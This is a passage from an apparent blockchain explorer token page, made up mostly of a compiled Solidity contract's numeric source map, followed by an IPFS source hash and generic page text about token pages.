;;;;;;;;;:60;;;;;13316:17;;13295:18;:38;13273:60;:78;;;;;13338:13;;;;;;;;;;;13337:14;13273:78;:112;;;;;13372:13;13355:30;;:13;:30;;;;13273:112;13269:1185;;;13418:4;13402:13;;:20;;;;;;;;;;;;;;;;;;13437:37;13455:18;13437:17;:37::i;:::-;13505:5;13489:13;;:21;;;;;;;;;;;;;;;;;;13269:1185;;;13575:17;;13532:25;:40;13558:13;13532:40;;;;;;;;;;;;;;;;:60;:129;;;;;13644:17;;13596:25;:45;13622:18;13596:45;;;;;;;;;;;;;;;;:65;13532:129;13528:926;;;13697:12;13678:31;;13752:16;13724:9;:24;13742:4;13724:24;;;;;;;;;;;;;;;;:44;;;;;;;:::i;:::-;;;;;;;;13783:52;13802:12;13816:18;13783;:52::i;:::-;13850:7;;;;13528:926;13908:15;13878:46;;:18;:46;;;;:94;;;;;13971:1;13928:25;:40;13954:13;13928:40;;;;;;;;;;;;;;;;:44;13878:94;:130;;;;;13991:17;;13976:12;:32;13878:130;:169;;;;;14034:13;14012:35;;:18;:35;;;;13878:169;13874:580;;;14112:12;14064:25;:45;14090:18;14064:45;;;;;;;;;;;;;;;:60;;;;14139:7;;;;13874:580;14168:13;;;;;;;;;;;14167:14;:67;;;;;14233:1;14185:30;:45;14216:13;14185:45;;;;;;;;;;;;;;;;:49;14167:67;:101;;;;;14255:13;14238:30;;:13;:30;;;;14167:101;:150;;;;;14316:1;14272:25;:40;14298:13;14272:40;;;;;;;;;;;;;;;;:45;14167:150;14163:291;;;14425:17;;14382:25;:40;14408:13;14382:40;;;;;;;;;;;;;;;;:60;;;;:::i;:::-;14334:30;:45;14365:13;14334:45;;;;;;;;;;;;;;;:108;;;;14163:291;13269:1185;14464:24;14492:15;:30;14508:13;14492:30;;;;;;;;;;;;;;;;;;;;;;;;;14464:58;;14590:1;14537:30;:49;14568:16;14537:49;;;;;;;;;;;;;;;;:54;14533:129;;14645:17;;14593:30;:49;14624:16;14593:49;;;;;;;;;;;;;;;:69;;;;14533:129;14706:18;14673:15;:30;14689:13;14673:30;;;;;;;;;;;;;;;;:51;;;;;;;;;;;;;;;;;;14753:1;14739:11;;:15;:64;;;;;14802:1;14758:25;:40;14784:13;14758:40;;;;;;;;;;;;;;;;:45;14739:64;:82;;;;;14808:13;;;;;;;;;;;14807:14;14739:82;:136;;;;;14874:1;14825:25;:45;14851:18;14825:45;;;;;;;;;;;;;;;;:50;14739:136;14735:387;;;14942:3;14927:11;;14912:12;:26;;;;:::i;:::-;14911:34;;;;:::i;:::-;14892:53;;14976:16;14960:32;;;;;:::i;:::-;;;15035:16;15007:9;:24;15017:13;15007:24;;;;;;;;;;;;;;;;:44;;;;;;;:::i;:::-;;;;;;;;15094:16;15066:9;:24;15084:4;15066:24;;;;;;;;;;;;;;;;:44;;;;;;;:::i;:::-;;;;;;;;14735:387;15160:12;15132:9;:24;15142:13;15132:24;;;;;;;;;;;;;;;;:40;;;;;;;:::i;:::-;;;;;;;;15216:12;15183:9;:29;15193:18;15183:29;;;;;;;;;;;;;;;;:45;;;;;;;:::i;:::-;;;;;;;;15268:18;15244:57;;15253:13;15244:57;;;15288:12;15244:57;;;;;;:::i;:::-;;;;;;;;15321:11;;;;;;;;;;;15316:153;;15378:7;:5;:7::i;:::-;15361:24;;:13;:24;;;15353:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;15316:153;13159:2317;;;13011:2465;;;;:::o;8798:98::-;8851:7;8878:10;8871:17;;8798:98;:::o;9752:173::-;9808:16;9827:6;;;;;;;;;;;9808:25;;9853:8;9844:6;;:17;;;;;;;;;;;;;;;;;;9908:8;9877:40;;9898:8;9877:40;;;;;;;;;;;;9797:128;9752:173;:::o;15834:340::-;15896:12;15920:1;15911:6;:10;;;;:::i;:::-;15896:25;;15932:24;15959:21;15932:48;;15991:39;16010:4;16024;15991:18;:39::i;:::-;16041:22;16090:16;16066:21;:40;;;;:::i;:::-;16041:65;;16117:49;16130:4;16136:14;16160:4;16117:12;:49::i;:::-;15885:289;;;15834:340;:::o;16292:398::-;16372:21;16410:1;16396:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16372:40;;16441:4;16423;16428:1;16423:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16467:15;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16457:4;16462:1;16457:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16500:62;16517:4;16532:15;16550:11;16500:8;:62::i;:::-;;16573:15;:66;;;16640:11;16653:1;16656:4;16662:2;16666:15;16573:109;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16361:329;16292:398;;:::o;15519:309::-;15645:61;15662:4;15677:15;15695:10;15645:8;:61::i;:::-;;15717:15;:31;;;15756:9;15775:4;15782:10;15794:1;15797;15800:2;15804:15;15717:103;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15519:309;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:116::-;4541:21;4556:5;4541:21;:::i;:::-;4534:5;4531:32;4521:60;;4577:1;4574;4567:12;4521:60;4471:116;:::o;4593:133::-;4636:5;4674:6;4661:20;4652:29;;4690:30;4714:5;4690:30;:::i;:::-;4593:133;;;;:::o;4732:323::-;4788:6;4837:2;4825:9;4816:7;4812:23;4808:32;4805:119;;;4843:79;;:::i;:::-;4805:119;4963:1;4988:50;5030:7;5021:6;5010:9;5006:22;4988:50;:::i;:::-;4978:60;;4934:114;4732:323;;;;:::o;5061:60::-;5089:3;5110:5;5103:12;;5061:60;;;:::o;5127:142::-;5177:9;5210:53;5228:34;5237:24;5255:5;5237:24;:::i;:::-;5228:34;:::i;:::-;5210:53;:::i;:::-;5197:66;;5127:142;;;:::o;5275:126::-;5325:9;5358:37;5389:5;5358:37;:::i;:::-;5345:50;;5275:126;;;:::o;5407:152::-;5483:9;5516:37;5547:5;5516:37;:::i;:::-;5503:50;;5407:152;;;:::o;5565:183::-;5678:63;5735:5;5678:63;:::i;:::-;5673:3;5666:76;5565:183;;:::o;5754:274::-;5873:4;5911:2;5900:9;5896:18;5888:26;;5924:97;6018:1;6007:9;6003:17;5994:6;5924:97;:::i;:::-;5754:274;;;;:::o;6034:329::-;6093:6;6142:2;6130:9;6121:7;6117:23;6113:32;6110:119;;;6148:79;;:::i;:::-;6110:119;6268:1;6293:53;6338:7;6329:6;6318:9;6314:22;6293:53;:::i;:::-;6283:63;;6239:117;6034:329;;;;:::o;6369:118::-;6456:24;6474:5;6456:24;:::i;:::-;6451:3;6444:37;6369:118;;:::o;6493:222::-;6586:4;6624:2;6613:9;6609:18;6601:26;;6637:71;6705:1;6694:9;6690:17;6681:6;6637:71;:::i;:::-;6493:222;;;;:::o;6721:474::-;6789:6;6797;6846:2;6834:9;6825:7;6821:23;6817:32;6814:119;;;6852:79;;:::i;:::-;6814:119;6972:1;6997:53;7042:7;7033:6;7022:9;7018:22;6997:53;:::i;:::-;6987:63;;6943:117;7099:2;7125:53;7170:7;7161:6;7150:9;7146:22;7125:53;:::i;:::-;7115:63;;7070:118;6721:474;;;;;:::o;7201:180::-;7249:77;7246:1;7239:88;7346:4;7343:1;7336:15;7370:4;7367:1;7360:15;7387:320;7431:6;7468:1;7462:4;7458:12;7448:22;;7515:1;7509:4;7505:12;7536:18;7526:81;;7592:4;7584:6;7580:17;7570:27;;7526:81;7654:2;7646:6;7643:14;7623:18;7620:38;7617:84;;7673:18;;:::i;:::-;7617:84;7438:269;7387:320;;;:::o;7713:180::-;7761:77;7758:1;7751:88;7858:4;7855:1;7848:15;7882:4;7879:1;7872:15;7899:191;7939:4;7959:20;7977:1;7959:20;:::i;:::-;7954:25;;7993:20;8011:1;7993:20;:::i;:::-;7988:25;;8032:1;8029;8026:8;8023:34;;;8037:18;;:::i;:::-;8023:34;8082:1;8079;8075:9;8067:17;;7899:191;;;;:::o;8096:182::-;8236:34;8232:1;8224:6;8220:14;8213:58;8096:182;:::o;8284:366::-;8426:3;8447:67;8511:2;8506:3;8447:67;:::i;:::-;8440:74;;8523:93;8612:3;8523:93;:::i;:::-;8641:2;8636:3;8632:12;8625:19;;8284:366;;;:::o;8656:419::-;8822:4;8860:2;8849:9;8845:18;8837:26;;8909:9;8903:4;8899:20;8895:1;8884:9;8880:17;8873:47;8937:131;9063:4;8937:131;:::i;:::-;8929:139;;8656:419;;;:::o;9081:225::-;9221:34;9217:1;9209:6;9205:14;9198:58;9290:8;9285:2;9277:6;9273:15;9266:33;9081:225;:::o;9312:366::-;9454:3;9475:67;9539:2;9534:3;9475:67;:::i;:::-;9468:74;;9551:93;9640:3;9551:93;:::i;:::-;9669:2;9664:3;9660:12;9653:19;;9312:366;;;:::o;9684:419::-;9850:4;9888:2;9877:9;9873:18;9865:26;;9937:9;9931:4;9927:20;9923:1;9912:9;9908:17;9901:47;9965:131;10091:4;9965:131;:::i;:::-;9957:139;;9684:419;;;:::o;10109:223::-;10249:34;10245:1;10237:6;10233:14;10226:58;10318:6;10313:2;10305:6;10301:15;10294:31;10109:223;:::o;10338:366::-;10480:3;10501:67;10565:2;10560:3;10501:67;:::i;:::-;10494:74;;10577:93;10666:3;10577:93;:::i;:::-;10695:2;10690:3;10686:12;10679:19;;10338:366;;;:::o;10710:419::-;10876:4;10914:2;10903:9;10899:18;10891:26;;10963:9;10957:4;10953:20;10949:1;10938:9;10934:17;10927:47;10991:131;11117:4;10991:131;:::i;:::-;10983:139;;10710:419;;;:::o;11135:305::-;11175:3;11194:20;11212:1;11194:20;:::i;:::-;11189:25;;11228:20;11246:1;11228:20;:::i;:::-;11223:25;;11382:1;11314:66;11310:74;11307:1;11304:81;11301:107;;;11388:18;;:::i;:::-;11301:107;11432:1;11429;11425:9;11418:16;;11135:305;;;;:::o;11446:348::-;11486:7;11509:20;11527:1;11509:20;:::i;:::-;11504:25;;11543:20;11561:1;11543:20;:::i;:::-;11538:25;;11731:1;11663:66;11659:74;11656:1;11653:81;11648:1;11641:9;11634:17;11630:105;11627:131;;;11738:18;;:::i;:::-;11627:131;11786:1;11783;11779:9;11768:20;;11446:348;;;;:::o;11800:180::-;11848:77;11845:1;11838:88;11945:4;11942:1;11935:15;11969:4;11966:1;11959:15;11986:185;12026:1;12043:20;12061:1;12043:20;:::i;:::-;12038:25;;12077:20;12095:1;12077:20;:::i;:::-;12072:25;;12116:1;12106:35;;12121:18;;:::i;:::-;12106:35;12163:1;12160;12156:9;12151:14;;11986:185;;;;:::o;12177:250::-;12317:34;12313:1;12305:6;12301:14;12294:58;12386:33;12381:2;12373:6;12369:15;12362:58;12177:250;:::o;12433:366::-;12575:3;12596:67;12660:2;12655:3;12596:67;:::i;:::-;12589:74;;12672:93;12761:3;12672:93;:::i;:::-;12790:2;12785:3;12781:12;12774:19;;12433:366;;;:::o;12805:419::-;12971:4;13009:2;12998:9;12994:18;12986:26;;13058:9;13052:4;13048:20;13044:1;13033:9;13029:17;13022:47;13086:131;13212:4;13086:131;:::i;:::-;13078:139;;12805:419;;;:::o;13230:180::-;13278:77;13275:1;13268:88;13375:4;13372:1;13365:15;13399:4;13396:1;13389:15;13416:180;13464:77;13461:1;13454:88;13561:4;13558:1;13551:15;13585:4;13582:1;13575:15;13602:143;13659:5;13690:6;13684:13;13675:22;;13706:33;13733:5;13706:33;:::i;:::-;13602:143;;;;:::o;13751:351::-;13821:6;13870:2;13858:9;13849:7;13845:23;13841:32;13838:119;;;13876:79;;:::i;:::-;13838:119;13996:1;14021:64;14077:7;14068:6;14057:9;14053:22;14021:64;:::i;:::-;14011:74;;13967:128;13751:351;;;;:::o;14108:85::-;14153:7;14182:5;14171:16;;14108:85;;;:::o;14199:158::-;14257:9;14290:61;14308:42;14317:32;14343:5;14317:32;:::i;:::-;14308:42;:::i;:::-;14290:61;:::i;:::-;14277:74;;14199:158;;;:::o;14363:147::-;14458:45;14497:5;14458:45;:::i;:::-;14453:3;14446:58;14363:147;;:::o;14516:114::-;14583:6;14617:5;14611:12;14601:22;;14516:114;;;:::o;14636:184::-;14735:11;14769:6;14764:3;14757:19;14809:4;14804:3;14800:14;14785:29;;14636:184;;;;:::o;14826:132::-;14893:4;14916:3;14908:11;;14946:4;14941:3;14937:14;14929:22;;14826:132;;;:::o;14964:108::-;15041:24;15059:5;15041:24;:::i;:::-;15036:3;15029:37;14964:108;;:::o;15078:179::-;15147:10;15168:46;15210:3;15202:6;15168:46;:::i;:::-;15246:4;15241:3;15237:14;15223:28;;15078:179;;;;:::o;15263:113::-;15333:4;15365;15360:3;15356:14;15348:22;;15263:113;;;:::o;15412:732::-;15531:3;15560:54;15608:5;15560:54;:::i;:::-;15630:86;15709:6;15704:3;15630:86;:::i;:::-;15623:93;;15740:56;15790:5;15740:56;:::i;:::-;15819:7;15850:1;15835:284;15860:6;15857:1;15854:13;15835:284;;;15936:6;15930:13;15963:63;16022:3;16007:13;15963:63;:::i;:::-;15956:70;;16049:60;16102:6;16049:60;:::i;:::-;16039:70;;15895:224;15882:1;15879;15875:9;15870:14;;15835:284;;;15839:14;16135:3;16128:10;;15536:608;;;15412:732;;;;:::o;16150:831::-;16413:4;16451:3;16440:9;16436:19;16428:27;;16465:71;16533:1;16522:9;16518:17;16509:6;16465:71;:::i;:::-;16546:80;16622:2;16611:9;16607:18;16598:6;16546:80;:::i;:::-;16673:9;16667:4;16663:20;16658:2;16647:9;16643:18;16636:48;16701:108;16804:4;16795:6;16701:108;:::i;:::-;16693:116;;16819:72;16887:2;16876:9;16872:18;16863:6;16819:72;:::i;:::-;16901:73;16969:3;16958:9;16954:19;16945:6;16901:73;:::i;:::-;16150:831;;;;;;;;:::o;16987:807::-;17236:4;17274:3;17263:9;17259:19;17251:27;;17288:71;17356:1;17345:9;17341:17;17332:6;17288:71;:::i;:::-;17369:72;17437:2;17426:9;17422:18;17413:6;17369:72;:::i;:::-;17451:80;17527:2;17516:9;17512:18;17503:6;17451:80;:::i;:::-;17541;17617:2;17606:9;17602:18;17593:6;17541:80;:::i;:::-;17631:73;17699:3;17688:9;17684:19;17675:6;17631:73;:::i;:::-;17714;17782:3;17771:9;17767:19;17758:6;17714:73;:::i;:::-;16987:807;;;;;;;;;:::o;17800:143::-;17857:5;17888:6;17882:13;17873:22;;17904:33;17931:5;17904:33;:::i;:::-;17800:143;;;;:::o;17949:663::-;18037:6;18045;18053;18102:2;18090:9;18081:7;18077:23;18073:32;18070:119;;;18108:79;;:::i;:::-;18070:119;18228:1;18253:64;18309:7;18300:6;18289:9;18285:22;18253:64;:::i;:::-;18243:74;;18199:128;18366:2;18392:64;18448:7;18439:6;18428:9;18424:22;18392:64;:::i;:::-;18382:74;;18337:129;18505:2;18531:64;18587:7;18578:6;18567:9;18563:22;18531:64;:::i;:::-;18521:74;;18476:129;17949:663;;;;;:::o
Swarm Source
ipfs://a5ea1c1eafe89397405055b763376953727ff0b1b6b321c282cd097835d3fb25
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.